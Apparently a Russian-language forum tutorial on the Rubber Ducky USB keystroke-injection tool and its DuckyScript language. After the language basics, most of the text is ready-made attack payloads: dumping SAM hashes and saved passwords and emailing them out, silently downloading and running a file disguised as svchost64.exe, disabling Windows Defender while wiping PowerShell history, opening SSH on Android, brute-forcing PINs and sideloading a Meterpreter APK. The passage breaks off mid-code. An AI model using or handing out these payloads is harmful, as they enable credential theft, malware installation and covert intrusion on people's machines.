Переменные - это именованные контейнеры для хранения значений в duckyscript.

Они используются для упрощения написания скрипта и повышения его гибкости.

Переменные содержат целые числа без знака со значениями в диапазоне от 0 до 65535. Логические значения могут быть представлены ключевыми словами TRUE и FALSE или любым ненулевым целым числом для значений true и 0false.

Все переменные имеют глобальную область видимости — это означает, что на них можно ссылаться в любом месте полезной нагрузки.

VAR

VAR – функция которая позволяет создавать переменные и работать с ними.

Чтобы создать переменную с помощью функции VAR , пишем следующую строку:

VAR $A = 1337

Это значит что мы создаем переменную с именем A и помещаем туда такую информацию как число 1337

DEFINE

DEFINE – функция которая позволяет создавать локальные переменные.

Чтобы использовать ее для замены данных пишем такую строчку:

DEFINE FOO Hello, World!
1683741496113.png

Это можно перевести на человеческий язык как:

Замени словом FOO слово Hello , World!

Применим на практике такой код:

Code:Copy to clipboard

DEFINE FOO Hello, World!

GUI r

DELAY 500

STRING FOO

Запустив его на атакуемой машина под управлением ОС windows , строка STRING FOO напишет не FOO , а то значение которым мы заменили слово FOO , в нашем случае это значение Hello world!

Циклы в duckyscript

Цикл в программировании – функция , которая позволяет повторять какое то действия , зависимо от условия и количества повторений.

WHILE

Цикл WHILE в duckyscript используется для повторения действий.

Конструкция кода с циклом WHILE будет построена так:

WHILE (<условие>)

<действие которое будет повторятся>

END_WHILE

Пример кода duckyscript с использованием цикла WHILE:

REM код в цикле 15 раз мигает светодиодом на плате

Code:Copy to clipboard

VAR $FOO = 15

WHILE ( $FOO > 0 )

LED_G

DELAY 500

LED_OFF

DELAY 500

$FOO = ( $FOO - 1 )

END_WHILE

LED_R

Этот код в цикле , 15 раз мигает светодиодом , разберем детально.

-строка VAR $FOO = 15 значит что мы присвоили переменной FOO значение 15

-строка WHILE ( $FOO > 0 ) значит , отрабатывать цикл пока значение переменной FOO не станет меньше 0

-строка $FOO = ( $FOO - 1 ) минусует каждый раз число 1 от значения переменной FOO

Тем самым начальное значение переменной FOO 15 , а после того как цикл прошел ,коло значение уже 14 , так весь код уменьшает значение пока оно не станет меньше 0.

Операторы

Условные операторы в программировании – правила кода , которые исполняют код если условие ровно True.

Перейдем к коду.

Конструкция условного оператора IF:

IF (<условие>) THEN

<код который будет выполнятся если условие правильное>

END_IF

Теперь посмотрим на код со стороны адекватного человека)))

Переводим код на понятный человеческий язык:

Если (<условие такое то>) тогда

Сделай то

Конец алгоритма

Конструкция условного оператора IF – ELSE:

Добавляя в алгоритм условный оператор ELSE , мы можем заставить код обрабатывать несколько условий и проверять их работоспособность.

Если первое условие не было выполнено , тогда проверь второе условие , и если оно правильное , выполни код.

Конструкция кода:

IF (<условие>) THEN

<код который будет выполнятся если условие правильное>

ELSE IF (<условие>) THEN

<код который будет выполнятся если условие правильное>

END_IF

Переводим код на понятный человеческий язык:

Если (<условие такое то>) тогда

Сделай то

Иначе(<условие такое то>) тогда

Сделай то

Конец алгоритма

Дополнительные функции языка от Hak5

Определение Операционной системы

Для определения атакующей операционной системы, в duckyscript добавили специальную функцию.

Импорт функции:

EXTENSION OS_DETECTION

Управление кнопкой и присвоение ей функций

Готовые алгоритмы роботы кнопки:

Code:Copy to clipboard

WAIT_FOR_BUTTON_PRESS

STRING Press the button...

WAIT_FOR_BUTTON_PRESS

STRING The button was pressed!

Code:Copy to clipboard

BUTTON_DEFBUTTON_DEF

BUTTON_DEF

STRING The button was pressed!

STOP_PAYLOAD

END_BUTTON

Code:Copy to clipboard

DISABLE_BUTTON

BUTTON_DEF

STRING This will never execute

END_BUTTON

DISABLE_BUTTON

STRING The button is disabled

WHILE TRUE

STRING .

DELAY 1000

END_WHILE

Code:Copy to clipboard

ENABLE_BUTTON

BUTTON_DEF

STRINGLN The button was pressed!

STRINGLN Continuing the payload...

END_BUTTON

Code:Copy to clipboard

WHILE TRUE

DISABLE_BUTTON

STRINGLN The button is disabled for the next 5 seconds...

STRINGLN Pressing the button will do nothing...

DELAY 5000

Code:Copy to clipboard

ENABLE_BUTTON

STRINGLN The button is enabled for the next 5 seconds...

STRINGLN Pressing the button will execute the button definition...

DELAY 5000

END_WHILE

Spoiler: А также использование переменных

$_BUTTON_ENABLED

IF ($_BUTTON_ENABLED == TRUE) THEN

REM The button is enabled

ELSE IF ($_BUTTON_ENABLED == FALSE) THEN

REM The button is disabled

END_IF

$_BUTTON_USER_DEFINED

IF ($_BUTTON_USER_DEFINED == TRUE) THEN

REM Pressing the button will run the user defined BUTTON_DEF

END_IF

$_BUTTON_PUSH_RECEIVED

REM Example $_BUTTON_PUSH_RECEIVED

STRING PUSH BUTTON N times within 5s

$CD = 15

WHILE ($CD > 0)

IF ($_BUTTON_PUSH_RECEIVED == TRUE) THEN

STRINGLN Passed

$_BUTTON_PUSH_RECEIVED = FALSE

END_IF

$CD = ($CD - 1)

STRING .

DELAY 200

END_WHILE

$_BUTTON_ENABLED = TRUE

$_BUTTON_PUSH_RECEIVED = FALSE

Управление LED индикатором

Как мы помним , у индикатора на плате есть 3 режима цвета и мигания.

Мигающий зеленый свет – скрипт работает, атака в процессе.

Зеленый свет – пауза , атака закончилась.

Красный цвет - Не найден файл inject.bin в корневом каталоге SD-карты или отсутствует SD-карта

Также с помощью специальных функций языка duckyscript , мы можем изменять цвет индикатора и частоту мигания.

LED_OFF

Это функция которая отключает свечение индикатора.

Чтобы отключить индикатор , добавьте в код строку:

LED_OFF

LED_R

Эта функция изменяет цвет свечения индикатора на красный.

Для использования в коде , пишем:

LED_R

LED_G

Эта функция изменяет цвет свечения индикатора на зеленый.

Для использования в коде , пишем:

LED_G

Вот и закончили мы мучительное путешествие по недрам программирования и скучного и непонятного процесса взаимосвязи кода и физических модулей Rubber Ducky.

Но за то поняли на что возможна уточка и ее язык программирования duckyscript.

В следующим разделе мы будем разбирать атаки на разные устройства , такие как пк , телефон , роутер. С помощью знаний которые мы получили от моего нудного материала с кодами)

Атаки на устройства​

Атаки на Windows/Linux

Имея физический доступ к атакуемом ПК ,под управлением такой операционной системы как Windows или Linux , мы можем делать очень многое.

Самые популярные векторы атак на операционные системы Windows/Linux с помощью Rubber Ducky:

Дамп данных – к этому вектору относятся такие дампы информации как: дамп хэшей админов , дамп сохраненных wifi паролей , и дамп паролей Chrome.​

Информация сохраняется на внутреннем накопителе Rubber Ducky.​

Автоматизация действий злоумышленника – получив доступ к системе , на основе знаний которые мы получили в 3 главе , будем писать скрипт для автоматизации действий на атакуемом ПК.​

Приоритет атак в Badusb в том – что это очень быстро и тихо , то есть атака привлекает мало внимания.​

Суть Badusb атаки-, быстро выполнить алгоритм действий который написанный в скрипте.​

Скрытая установка и запуск файлов – один из самых главных векторов атак – скачать и запустить файл на атакуемой системе , вставив только “флешку” в USB порт на 5 секунд)​

Установка и запуск файла осуществляется через консоль PowerShell. Мы же все понимаем , что во время пентеста злоумышленник не будет скачивать на атакуемую систему Need for Speed most wanted , или крякнутую версию Windows office.​

Пентестер использует такие полезные нагрузки как meterpreter , или RAT программы.​

Отключение Windows Defender , добавление файла в исключения антивируса (только для Windows)– также имея доступ к командной строке PowerShell от имени администратора системы , мы можем изменять настройки Firewall и антивируса Windows Defender.​

Мы можем его полностью отключить , или добавить скачанный файл в исключения антивируса , чтобы внезапное отключение антивируса не привлекло внимания админа.​

Пишем свой скрипт на duckyscript для атак на Windows/Linux

Дампим учетные данные и хэши админов:

Code:Copy to clipboard

DELAY 500

ATTACKMODE HID STORAGE

DELAY 1000

GUI r

DELAY 1000

STRING powershell Start-Process powershell -Verb runAs

DELAY 1000

CTRL-SHIFT ENTER

DELAY 1000

DELAY 1000

STRING powershell.exe -NoP -enc cgBlAGcAIABzAGEAdgBlACAAaABrAGwAbQBcAHMAYQBtACAARAB1AGMAawB5AFMAYQBtADsAcgBlAGcAIABzAGEAdgBlACAAaABrAGwAbQBcAHMAeQBzAHQAZQBtACAARAB1AGMAawB5AFMAeQBzADsAQwBvAG0AcAByAGUAcwBzAC0AQQByAGMAaABpAHYAZQAgAC0AUABhAHQAaAAgACIAJABQAFcARABcAEQAdQBjAGsAeQBTAHkAcwAiACwAIAAiACQAUABXAEQAXABEAHUAYwBrAHkAUwBhAG0AIgAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAIABTAGEAbQBEAHUAbQBwAEQAdQBjAGsAeQAuAHoAaQBwADsAcgBlAG0AbwB2AGUALQBpAHQAZQBtACAARAB1AGMAawB5AFMAeQBzADsAcgBlAG0AbwB2AGUALQBpAHQAZQBtACAARAB1AGMAawB5AFMAYQBtADsAZQB4AGkAdAA=

DELAY 500

STRINGLN ;Write-Host "Exfiltrating SamDumpDucky.zip..." -ForegroundColor Green;mv SamDumpDucky.zip ((gwmi win32_volume -f 'label=''DUCKY''').Name);$RD = (gwmi win32_volume -f 'label=''DUCKY''').Name;Start-Sleep 3;(New-Object -comObject Shell.Application).Namespace(17).ParseName($RD).InvokeVerb('Eject');Start-Sleep -s 5;Exit

Скрипт тянет учетные данные системы и хэш – пароли администраторов системы.

Сохраняет эти данные в архив в внутренний накопитель Rubber Ducky.

Дампим сохраненные пароли на устройстве

Code:Copy to clipboard

REM TITLE "Hasta lasagna!"

REM AUTHOR m4ki3lf0

REM TARGET Approved on Win10, Probably working on Win11

REM DESCRIPTION This will download the password exfiltration script (your modified version for your preferred exfiltration method), download execute lazagne.exe save result to a file and send it to yourself

REM VERSION 1.0

DEFAULT_DELAY 300

DELAY 1000

GUI r

STRING powershell -exec bypass -NoP

DELAY 1000

CTRL SHIFT ENTER

DELAY 1000

LEFT

ENTER

DELAY 1000

STRING powershell (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/m4ki3lf0/BadUsbScripts/main/PasswordExfiltration/PasswordExfiltration.ps1')

ENTER

1.Скачиваем файл https://raw.githubusercontent.com/m...PasswordExfiltration/PasswordExfiltration.ps1

2.В этих сроках пишем свою почту и smtp сервер.
1683741556189.png

3.поднимаем файл PasswordExfiltration.ps1 на общедоступный сервер

4.В коде скрипта duckyscript в предпоследней строке вводим путь к файле на серваку.

Скрытая установка и запуск файла

Code:Copy to clipboard

GUI r

DELAY 500

STRINGLN powershell -NoP -NonI -W Hidden -Exec Bypass \"IEX (New-Object System.Net.WebClient).DownloadFile(<ip>,\\\"$env:temp\\svchost64.exe\\\"); Start-Process \\\"$env:temp\\svchost64.exe\\\"\")

заменить на ip сервера на котором лежим файл , файл назовите svchost64.exe

Скрипт используя PowerShell , в тихом режиме устанавливает ваш файл с сервера и запускает.

Spoiler: Отключение Windows Defender , добавление файла в исключения антивируса

REM VERSION 1.0

REM Author HackingMark

REM Disables Tampering Protection and Kills Windows Defender on Win 22H2

REM Tested on German Computers

REM Uncomment DISABLE_WINDOWS_DEFENDER() or RESTORE() at the end to use it within the Extension or call it later in your Payload.

REM Attack Commands for disabling RTP and Defender with (T)/without(F) clearing or (R) Restore

DEFINE ATTACK_F Set-MpPreference -DisableRealtimeMonitoring $true; New- ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force; exit;

DEFINE ATTACK_T Set-MpPreference -DisableRealtimeMonitoring $true; New- ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force; Remove-Item (Get- PSReadlineOption).HistorySavePath; exit;

DEFINE ATTACK_R Set-MpPreference -DisableRealtimeMonitoring $false; New- ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 0 -PropertyType DWORD -Force; exit;

DEFINE ATTACK_RC Set-MpPreference -DisableRealtimeMonitoring $false; New- ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 0 -PropertyType DWORD -Force; Remove-Item (Get- PSReadlineOption).HistorySavePath; exit;

REM Change the Term for "Windows-Securitycenter" for your Target Language here:

DEFINE TERM_WIN_SEC_CENTER Windows-Sicherheit

REM CLEAN = TRUE deletes PS History, set to FALSE to run Payload without deleting History

VAR $clean = TRUE

ATTACKMODE HID

DELAY 2000

FUNCTION DISABLE_WINDOWS_DEFENDER()

GUI s

DELAY 500

STRINGLN TERM_WIN_SEC_CENTER

DELAY 500

ENTER

TAB

TAB

TAB

TAB

ENTER

DELAY 500

TAB

TAB

TAB

TAB

SPACE

DELAY 500

ALT j

DELAY 500

ALT F4

DELAY 1500

GUI x

DELAY 100

STRING a

DELAY 500

ALT j

DELAY 500

IF ($clean == TRUE) THEN

STRINGLN ATTACK_T

ELSE

STRINGLN ATTACK_F

END_IF

END_FUNCTION

FUNCTION RESTORE()

GUI x

DELAY 100

STRING a

DELAY 500

ALT j

DELAY 500

IF ($clean == TRUE) THEN

STRINGLN ATTACK_RC

ELSE

STRINGLN ATTACK_R

END_IF

END_FUNCTION

REM Uncomment the Mode you want to use:

REM DISABLE_WINDOWS_DEFENDER()

REM RESTORE()

Скрипт отключает Windows Defender на атакуемой системе.

Атаки на мобилки

Rubber Ducky также работает с мобильными устройствами (телефоны планшеты)

Атаки будем проводить на ОС Android и IOS.

При пентесте , получение доступа к этим устройствам есть тоже очень важным этапом (особенно при физическом пентесте)

Самые популярные векторы атак на операционные системы Windows/Linux с помощью Rubber Ducky:

Открытие веб-сайтов – вставив флешку в устройство , и оно через браузер по умолчанию переходит на прописанную вами в скрипт ссылку.​

Работает как и на IOS так и на Android.​

Открытие SSH службы – используя инструмент Termux , Rubber Ducky устанавливает и запускает службу SSH , с вашими кредами.​

Работает на Android , если на устройстве установлен Termux.​

Bruteforse ПИН-кода (4 числа) – используя виртуальную клавиатуру , устройство подбирает ПИН-код из 4 цифр.​

Работает на Android.​

Установка мальваря на Android устройство – с помощью браузера , уточка устанавливает ваш apk файл и запускает его.​

Работает на Android.​

Открытие веб-сайтов

Android:

Code:Copy to clipboard

REM Title: Android Browse to URL Example

REM Author: Hak5Darren

REM Desscription: Opens browser. Navigates to URL.

REM Target: "most" Android devices (compatibility varies by vendor implementation)

REM DuckyScript: 3.0

ATTACKMODE HID STORAGE

WAIT_FOR_BUTTON_PRESS

REM HID and STORAGE for convenience. Doesn't execute payload until button press.

DEFINE URL hak5.org

REM Change to URL of your choosing.

GUI b

REM Open browser

DELAY 700

CTRL l

REM Select URL bar

DELAY 700

STRINGLN URL

REM inject URL and press ENTER

iPhone:

Code:Copy to clipboard

GUI h

DELAY 100

GUI SPACE

DELAY 150

BACKSPACE

DELAY 250

STRING Safari

DELAY 100

ENTER

DELAY 500

GUI t

DELAY 250

GUI l

DELAY 100

STRING "HOOK LINK"

DELAY 250

ENTER

GUI t

DELAY 100

STRING www.youtube.com

DELAY 250

ENTER

Открытие SSH службы

Code:Copy to clipboard

ATTACKMODE HID

DELAY 500

GUI f

DELAY 1000

STRING termux

DELAY 500

TAB

DELAY 100

TAB

DELAY 500

ENTER

DELAY 1500

STRINGLN pkg update -y;pkg install root-repo -y;pkg install openssh -y;ssh-keygen -A;sshd;passwd;

DELAY 20000

STRINGLN NewPasswordHere

DELAY 500

STRINGLN ConfirmPasswordHere

DELAY 500

ALT F4

DELAY 100

ALT F4

DELAY 500

Скрипт используя установленное Программное Обеспечение Termux , скачивает и открывает службу SSH.

Заранее поставьте свой пароль , прописав его в скрипте.

Bruteforse ПИН-кода (4 числа)

Spoiler: КОД

ATTACKMODE HID

REM TITLE: Brute Force

REM AUTHOR: Cribbit

REM DESCRIPTION: Updated Version of Hak5 episode 1217.1

REM VID URL:

REM NOTE: This is 10 year old so will not work with modern android

REM PROPS: Hak5Darren

DELAY 3000

EXTENSION TRANSLATE

REM VERSION 1.0

REM This extension acts as a library or collection of helper functions

REM to work with converting variables in your payloads.

REM WHY:

REM Of the many ways to get information about the state of your payload

REM is by injecting static strings effectively as debugging prints

REM However, given the non-static nature of payloads using variables in

REM DuckyScript 3.0 - the ability to decode variables during payload

REM execution and print (inject) representations of their current state

REM can often be a critically helpful development and debugging tool.

REM Available Functions:

REM TRANSLATE_INT() - var to decimal string - set $INPUT prior to call

REM TRANSLATE_HEX() - var to hexidecimal string - set $INPUT prior to call

REM TRANSLATE_BINARY() - var to binary string - set $INPUT prior to call

REM TRANSLATE_BOOL() - var to boolean string - set $INPUT prior to call

REM USAGE:

REM set $INPUT to desired var

REM call the correct translate_ function for the expected data type e.g.

REM VAR $myVar = 1234

REM $INPUT = $myVar

REM TRANSLATE_INT()

REM REM the above code will inject 1234

REM begin extension variables

DEFINE PRINT_INT 0

DEFINE PRINT_HEX 1

VAR $DIGIT_PRINT_MODE = PRINT_INT

VAR $D = 0

VAR $IN = 0

VAR $INPUT = 0

VAR $MOD = 0

VAR $P = FALSE

VAR $NL = TRUE

REM end extension variables

REM REQUIRED for INT/HEX - convert int to char

FUNCTION PRINTDIGIT()

IF ($D == 0) THEN

STRING 0

ELSE IF ($D == 1) THEN

STRING 1

ELSE IF ($D == 2) THEN

STRING 2

ELSE IF ($D == 3) THEN

STRING 3

ELSE IF ($D == 4) THEN

STRING 4

ELSE IF ($D == 5) THEN

STRING 5

ELSE IF ($D == 6) THEN

STRING 6

ELSE IF ($D == 7) THEN

STRING 7

ELSE IF ($D == 8) THEN

STRING 8

ELSE IF ($D == 9) THEN

STRING 9

ELSE IF ($DIGIT_PRINT_MODE == PRINT_HEX) THEN

IF ($D == 10) THEN

STRING A

ELSE IF ($D == 11) THEN

STRING B

ELSE IF ($D == 12) THEN

STRING C

ELSE IF ($D == 13) THEN

STRING D

ELSE IF ($D == 14) THEN

STRING E

ELSE IF ($D == 15) THEN

STRING F

END_IF

ELSE

STRING ?

END_IF

END_FUNCTION

REM REQUIRED for INT/HEX- consumes a character / place from the input

FUNCTION CONSUME()

$D = 0

WHILE ($INPUT >= $MOD)

$D = ($D + 1)

$INPUT = ($INPUT - $MOD)

END_WHILE

IF (($D > 0) || ($P == TRUE)) THEN

$P = TRUE

PRINTDIGIT()

END_IF

END_FUNCTION

REM ENDIAN SWAPPER helper, (useful for working with VID/PID)

FUNCTION SWAP_ENDIAN()

$INPUT = ((($INPUT >> 8) & 0x00FF) | (($INPUT << 8) & 0xFF00))

END_FUNCTION

REM Translates a variable of presumed integer type and attempts to convert

REM and inject a DECIMAL string representation

FUNCTION TRANSLATE_INT()

$DIGIT_PRINT_MODE = PRINT_INT

$P = FALSE

IF ( $INPUT >= 10000) THEN

$MOD = 10000

CONSUME()

END_IF

IF (($INPUT >= 1000) || ($P == TRUE)) THEN

$MOD = 1000

CONSUME()

END_IF

IF (($INPUT >= 100) || ($P == TRUE)) THEN

$MOD = 100

CONSUME()

END_IF

IF (($INPUT >= 10) || ($P == TRUE)) THEN

$MOD = 10

CONSUME()

END_IF()

$D = $INPUT

PRINTDIGIT()

IF $NL THEN

ENTER

END_IF

END_FUNCTION

REM Translates a variable of presumed boolean type and attempts to convert

REM and inject a BOOLEAN string representation

FUNCTION TRANSLATE_BOOL()

IF $INPUT THEN

STRING TRUE

ELSE

STRING FALSE

END_IF

IF $NL THEN

ENTER

END_IF

END_FUNCTION

REM Translates a variable of presumed integer type and attempts to convert

REM and inject a HEX string representation

FUNCTION TRANSLATE_HEX()

$DIGIT_PRINT_MODE = PRINT_HEX

VAR $chars = 0

VAR $d1 = 0

VAR $d2 = 0

VAR $d3 = 0

VAR $d4 = 0

WHILE ($INPUT > 0)

IF ($chars == 0) THEN

$d1 = ($INPUT % 16)

ELSE IF ($chars == 1) THEN

$d2 = ($INPUT % 16)

ELSE IF ($chars == 2) THEN

$d3 = ($INPUT % 16)

ELSE IF ($chars == 3) THEN

$d4 = ($INPUT % 16)

END_IF

$chars = ($chars + 1)

$INPUT = ($INPUT / 16)

END_WHILE

VAR $i = 0

STRING 0x

IF ($chars == 0) THEN

STRING 0x0000

ELSE IF ($chars == 1) THEN

STRING 000

$D = $d1

PRINTDIGIT()

ELSE IF ($chars == 2) THEN

STRING 00

$D = $d2

PRINTDIGIT()

$D = $d1

PRINTDIGIT()

ELSE IF ($chars == 3) THEN

STRING 0

$D = $d3

PRINTDIGIT()

$D = $d2

PRINTDIGIT()

$D = $d1

PRINTDIGIT()

ELSE IF ($chars == 4) THEN

STRING 0

$D = $d4

PRINTDIGIT()

$D = $d3

PRINTDIGIT()

$D = $d2

PRINTDIGIT()

$D = $d1

PRINTDIGIT()

END_IF

IF $NL THEN

ENTER

END_IF

END_FUNCTION

REM Translates a variable of presumed integer type and attempts to convert

REM and inject a BINARY string representation

FUNCTION TRANSLATE_BINARY()

VAR $I = 16

WHILE ( $I > 0 )

$I = ($I - 1)

IF (($INPUT & 0x8000) == 0 ) THEN

STRING 0

ELSE

STRING 1

END_IF

$INPUT = ($INPUT << 1)

END_WHILE

IF $NL THEN

ENTER

END_IF

END_FUNCTION

END_EXTENSION

REM Turn off TRANSLATE newline

$NL = FALSE

VAR $Frist = 0

VAR $Second = 0

VAR $Third = 0

VAR $Forth = 0

VAR $WaitTime = 30000

VAR $WaitStep = 5000

VAR $WaitDiff = 0

VAR $Cnt = 0

WHILE ($Frist < 10)

$Second = 0

WHILE ($Second < 10)

$Third = 0

WHILE ($Third < 10)

$Forth = 0

WHILE ($Forth < 10)

$INPUT = $Frist

TRANSLATE_INT()

$INPUT = $Second

TRANSLATE_INT()

$INPUT = $Third

TRANSLATE_INT()

$INPUT = $Forth

TRANSLATE_INT()

$Forth = ($Forth + 1)

DELAY 1000

ENTER

ENTER

$Cnt = ($Cnt + 1)

IF ($Cnt == 5) THEN

$Cnt = 0

WHILE ($WaitDiff < $WaitTime)

DELAY $WaitStep

ENTER

$WaitDiff = ($WaitDiff + $WaitStep)

END_WHILE

$WaitDiff = 0

END_IF

END_WHILE

$Third = ($Third + 1)

END_WHILE

$Second = ($Second + 1)

END_WHILE

$Frist = ($Frist + 1)

END_WHILE

Установка мальваря на Android устройство

Spoiler: КОД

REM # -----------------------------------------------------------

REM # Title: OMG Android Meterpreter

REM # Description: Download and install an APK on Android

REM # Author: int0x80

REM # Target: Android 11

REM # Notes: Set URL for APK payload below

REM # -----------------------------------------------------------

REM # -----------------------------------------------------------

REM # Launch browser to APK destination

REM # -----------------------------------------------------------

GUI b

DELAY 1000

CTRL l

DELAY 50

STRING https://x.x.x.x/your-app.apk

DELAY 50

ENTER

DELAY 2000

REM # -----------------------------------------------------------

REM # Move focus to 'Open' link

REM # -----------------------------------------------------------

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

RIGHT

DELAY 50

ENTER

DELAY 500

REM # -----------------------------------------------------------

REM # Select Chrome as approved source to install apps

REM # -----------------------------------------------------------

ENTER

DELAY 50

TAB

DELAY 50

ENTER

DELAY 50

REM # -----------------------------------------------------------

REM # Finish approved source

REM # GUI DELETE might work here

REM # -----------------------------------------------------------

GUI TAB

DELAY 50

ENTER

DELAY 50

REM # -----------------------------------------------------------

REM # Scanning and Play Store warnings

REM # Install, Install Anyway, Don't send for scanning, Open

REM # -----------------------------------------------------------

RIGHT

DELAY 50

ENTER

DELAY 50

TAB

DELAY 50

ENTER

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

ENTER

DELAY 50

ENTER

DELAY 250

REM # -----------------------------------------------------------

REM # Accept access settings and Continue

REM # -----------------------------------------------------------

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

ENTER

DELAY 250

REM # -----------------------------------------------------------

REM # Get shell and obligatory calc

REM # -----------------------------------------------------------

ENTER

DELAY 250

GUI a

Атаки на роутеры

Говорю сразу , прямого мануала по эксплуатации не будет , так как точно сам не знаю можно ли для этого юзать именно Rubber Ducky.

Но хочу вас познакомить с этой очень малоизвестной темой об которой почти нигде не говорят.

Как работает атака?
В некоторых роутерах есть USB порт , сделанный он зачастую для подключения принтера или перепрошивки.
Используя такой инструмент как P4wnP1 мы можем провернуть несколько видов атак.

Mikrotik_Mitm - Эта атака приводит к перенаправлению всего интернет-трафика на Raspberry Pi, подключенный к USB-порту. Затем Pi перенаправляет весь интернет- трафик на удаленный VPN-сервер.​

Различные производители маршрутизаторов (такие как Netgear, Linksys и TP-Link) поддерживают возможность использования принтеров совместно. Это достигается путем подключения USB-принтера к маршрутизатору и установки клиентского программного обеспечения на ваш хост в локальной сети. Таким образом, ваш хост может общаться с принтером через маршрутизатор.​

Однако я обнаружил, что программное обеспечение маршрутизатора/клиента фактически взаимодействует с любым USB-устройством, а не только с принтерами, как предполагалось производителями.​

Таким образом, злоумышленник может использовать любую полезную нагрузку, предоставляемую P4wnP1​

некоторые роутеры принимают устройство за USB а некоторые за ethernet адаптер.

Атаки на устройства с поддержкой физической клавиатуры
По сути , если устройство имеет функцию ввода информации с пк , то в 99% случаев оно может быть уязвимым к атаке Badusb.
Зная OC атакуемой системы и понимать что можно вводить с клавиатуры , а что нет. Можно запрограмировать скрипт на языке програмvирования duckyscript и автоматизировано провести атаку.

Атаки можно проводить на таких системах как:

  1. Встроенные системы: Устройства Интернета вещей (IoT), системы умного дома и другие встроенные системы могут также подвергаться BadUSB-атакам. Злоумышленники могут использовать уязвимости в USB-интерфейсах этих систем для установки вредоносного ПО, получения несанкционированного доступа или нарушения приватности.
  2. Аудио/видеоустройства: USB-устройства, такие как веб-камеры, микрофоны, наушники и другие аудио/видеоустройства, также могут быть использованы в BadUSB-атаках. Злоумышленник может использовать эти устройства для незаметного перехвата аудио/видео-данных или для внедрения вредоносного кода.
  3. Принтеры и сканеры: USB-принтеры и сканеры могут быть целью атак для распространения вредоносного программного обеспечения или злоупотребления привилегиями доступа.

В целом, любое USB-устройство, которое взаимодействует с компьютером или другой системой через USB-порт, может быть потенциальной целью BadUSB-атаки.

Проводим пентест/физический пентест с помощью Rubber Ducky​

Настройка Rubber Ducky для атаки
Начнем! перед атакой нам как всегда нужно собрать информацию об цели.
Наша цель - это корпоративная локальная сеть , в этапе пентеста Information Gathering , мы должны узнать масштабы сети и ОС систем , которые мы будем атаковать.
Юзать мы будем знания физического пентеста и знания использования Rubber Ducky,

Припустим что все системы которые мы будем атаковать - системы под управлением ОС Windows и Android.
Значит и скрипты мы будем выбирать для атак на Windows и Android.

Выбор скриптов для атак:
Теперь подумаем что мы будем использовать , в идеале нам понадобилось бы 2-3 Rubber Ducky (одна Rubber Ducky - один скрипт), но как так у нас нету таких денег мы будем использовать одну уточку.

Делаем 3 скрипта , берем 3 Micro SD карты и на каждую заливаем по одному скрипту. Далее смотря на ситуацию выбираем карту со скриптом который нам нужен.

1.Получение доступа к Android устройству

На некоторых девайсах могут быть пароли , чтобы их обойти мы будем использовать брутфорс.​

Spoiler: Код

ATTACKMODE HID

REM TITLE: Brute Force

REM AUTHOR: Cribbit

REM DESCRIPTION: Updated Version of Hak5 episode 1217.1

REM VID URL:

REM NOTE: This is 10 year old so will not work with modern android

REM PROPS: Hak5Darren

DELAY 3000

EXTENSION TRANSLATE

REM VERSION 1.0

REM This extension acts as a library or collection of helper functions

REM to work with converting variables in your payloads.

REM WHY:

REM Of the many ways to get information about the state of your payload

REM is by injecting static strings effectively as debugging prints

REM However, given the non-static nature of payloads using variables in

REM DuckyScript 3.0 - the ability to decode variables during payload

REM execution and print (inject) representations of their current state

REM can often be a critically helpful development and debugging tool.

REM Available Functions:

REM TRANSLATE_INT() - var to decimal string - set $INPUT prior to call

REM TRANSLATE_HEX() - var to hexidecimal string - set $INPUT prior to call

REM TRANSLATE_BINARY() - var to binary string - set $INPUT prior to call

REM TRANSLATE_BOOL() - var to boolean string - set $INPUT prior to call

REM USAGE:

REM set $INPUT to desired var

REM call the correct translate_ function for the expected data type e.g.

REM VAR $myVar = 1234

REM $INPUT = $myVar

REM TRANSLATE_INT()

REM REM the above code will inject 1234

REM begin extension variables

DEFINE PRINT_INT 0

DEFINE PRINT_HEX 1

VAR $DIGIT_PRINT_MODE = PRINT_INT

VAR $D = 0

VAR $IN = 0

VAR $INPUT = 0

VAR $MOD = 0

VAR $P = FALSE

VAR $NL = TRUE

REM end extension variables

REM REQUIRED for INT/HEX - convert int to char

FUNCTION PRINTDIGIT()

IF ($D == 0) THEN

STRING 0

ELSE IF ($D == 1) THEN

STRING 1

ELSE IF ($D == 2) THEN

STRING 2

ELSE IF ($D == 3) THEN

STRING 3

ELSE IF ($D == 4) THEN

STRING 4

ELSE IF ($D == 5) THEN

STRING 5

ELSE IF ($D == 6) THEN

STRING 6

ELSE IF ($D == 7) THEN

STRING 7

ELSE IF ($D == 8) THEN

STRING 8

ELSE IF ($D == 9) THEN

STRING 9

ELSE IF ($DIGIT_PRINT_MODE == PRINT_HEX) THEN

IF ($D == 10) THEN

STRING A

ELSE IF ($D == 11) THEN

STRING B

ELSE IF ($D == 12) THEN

STRING C

ELSE IF ($D == 13) THEN

STRING D

ELSE IF ($D == 14) THEN

STRING E

ELSE IF ($D == 15) THEN

STRING F

END_IF

ELSE

STRING ?

END_IF

END_FUNCTION

REM REQUIRED for INT/HEX- consumes a character / place from the input

FUNCTION CONSUME()

$D = 0

WHILE ($INPUT >= $MOD)

$D = ($D + 1)

$INPUT = ($INPUT - $MOD)

END_WHILE

IF (($D > 0) || ($P == TRUE)) THEN

$P = TRUE

PRINTDIGIT()

END_IF

END_FUNCTION

REM ENDIAN SWAPPER helper, (useful for working with VID/PID)

FUNCTION SWAP_ENDIAN()

$INPUT = ((($INPUT >> 8) & 0x00FF) | (($INPUT << 8) & 0xFF00))

END_FUNCTION

REM Translates a variable of presumed integer type and attempts to convert

REM and inject a DECIMAL string representation

FUNCTION TRANSLATE_INT()

